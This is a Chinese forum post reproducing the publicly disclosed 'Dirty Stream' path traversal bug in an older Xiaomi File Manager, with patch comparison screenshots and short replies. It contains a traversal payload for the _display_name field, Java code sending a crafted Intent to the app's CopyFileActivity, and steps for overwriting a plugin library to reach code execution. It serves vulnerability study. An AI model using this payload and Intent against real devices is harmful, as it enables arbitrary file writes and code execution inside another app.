dirty-stream漏洞

查看 70|回复 3
作者:nigelxiao   
下载地址:https://apkpure.com/cn/file-mana ... leexplorer/versions
选择:2023年03月06 应用V1-210567版本
对标文章内容


xiaomi01.png (109.47 KB, 下载次数: 0)
下载附件
01
2024-5-15 08:33 上传



xiaomi02.png (35.83 KB, 下载次数: 1)
下载附件
2024-5-15 08:34 上传

结论:漏洞利用前置要求比较高,需要在手机上安装App并且要提供content provide组件,这个App的数据库里还必须写上穿越路径,之后发送Intent调起小米文件管理器,需要手动点击粘贴才行。
漏洞是能代码执行,但是不实用。
Detail:
​        漏洞成因是xiaomi读取我提供的content provide(不懂的自己去查)的 "_display_name"字段 没有过滤 "../"导致可以拼接穿越路径。
补丁前后对比:
主要函数


xiaomi05.png (49.01 KB, 下载次数: 0)
下载附件
05
2024-5-15 08:35 上传



xiaomi06.png (37.76 KB, 下载次数: 0)
下载附件
06
2024-5-15 08:35 上传

补丁前:


xiaomi03.png (42.07 KB, 下载次数: 0)
下载附件
03
2024-5-15 08:35 上传

补丁后:


xiaomi04.png (40.17 KB, 下载次数: 0)
下载附件
04
2024-5-15 08:35 上传

利用:
创建攻击者App并提供Content Provide组件,是为了让xiaomi App读攻击者提供的带"../"的字符串内容。
攻击App的Manifest.xml配置如下:
[XML] 纯文本查看 复制代码      
        
然后创建数据库并写入三个字段 '_size','_display_name','_data'.
其中display_name是可控的路径,攻击者向这个字段写入如下内容:
[Bash shell] 纯文本查看 复制代码./../../../../../../../../../../data/data/com.mi.android.globalFileexplorer/shared_prefs/hx.txt
漏洞成功执行会在xiaomi App沙箱中的shared_prefs目录下创建hx.txt文件。
要写入的文件是攻击者App使用intent传递的。
[Java] 纯文本查看 复制代码                Uri uri = Uri.parse("content://com.hx.exploit/exploit.txt");        // 这里提供写入的文件路径
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.mi.android.globalFileexplorer","com.android.fileexplorer.activity.CopyFileActivity"));
                intent.putExtra("from_private",true);
                intent.putExtra("inner_call",true);
                intent.putExtra("explorer_path","content://com.hx.exploit/exploit.txt");
                intent.setData(uri);
                intent.setAction("android.intent.action.SEND");
                startActivity(intent);
攻击者App使用这个Intent发送给xiaomi App。xiaomi App会解析Intent中的Uri内容并访问注册名为com.hx.exploit的content provide 组件(攻击者App) ,使用openFileDescriptor()函数读取文件内容。攻击者App重载实现了openFile()函数,这样达到了写入内容可控。有了路径穿越就可以写xiaomi App沙箱内任意文件。


xiaomi07.png (51.42 KB, 下载次数: 0)
下载附件
07
2024-5-15 08:38 上传

攻击者App在assets资源目录下创建exploit.txt为要写入的文件内容。当执行到openFile函数时攻击者App把exploit.txt转存至自己的沙箱目录中并将文件句柄返回给xiaomi App。


xiaomi08.png (40.15 KB, 下载次数: 1)
下载附件
08
2024-5-15 08:38 上传

攻击者App主动发送Intent给xiaomi App使它执行到文件拷贝的Activity页面,点击粘贴按钮完成路径穿越写入。


xiaomi09.png (20.63 KB, 下载次数: 0)
下载附件
09
2024-5-15 08:39 上传

跳转至xiaomi App


xiaomi10.png (43.28 KB, 下载次数: 0)
下载附件
10
2024-5-15 08:39 上传



xiaomi11.png (65.17 KB, 下载次数: 0)
下载附件
11
2024-5-15 08:39 上传

文章中说覆写垃圾清理插件的so,可达到任意代码执行效果。先修改com.mi.android.globalFileexplorer_preferences.xml文件中的libixiaomifileu.so_hm5字段,然后将攻击者的so文件写入。


xiaomi12.png (57.63 KB, 下载次数: 0)
下载附件
12
2024-5-15 08:40 上传

插件路径


xiaomi13.png (19.96 KB, 下载次数: 1)
下载附件
13
2024-5-15 08:40 上传

同理wps app应该是类似的。

[1] https://www.microsoft.com/en-us/ ... rn-in-android-apps/

下载次数, 攻击者

4nfu   

遍历目录?
xiaoye123   


4nfu 发表于 2024-5-15 22:28
遍历目录?

rce应该是,但利用条件要求比较高
huangchaojun   

看标题还以为是steam,原来是xiaomi的
您需要登录后才可以回帖 登录 | 立即注册

返回顶部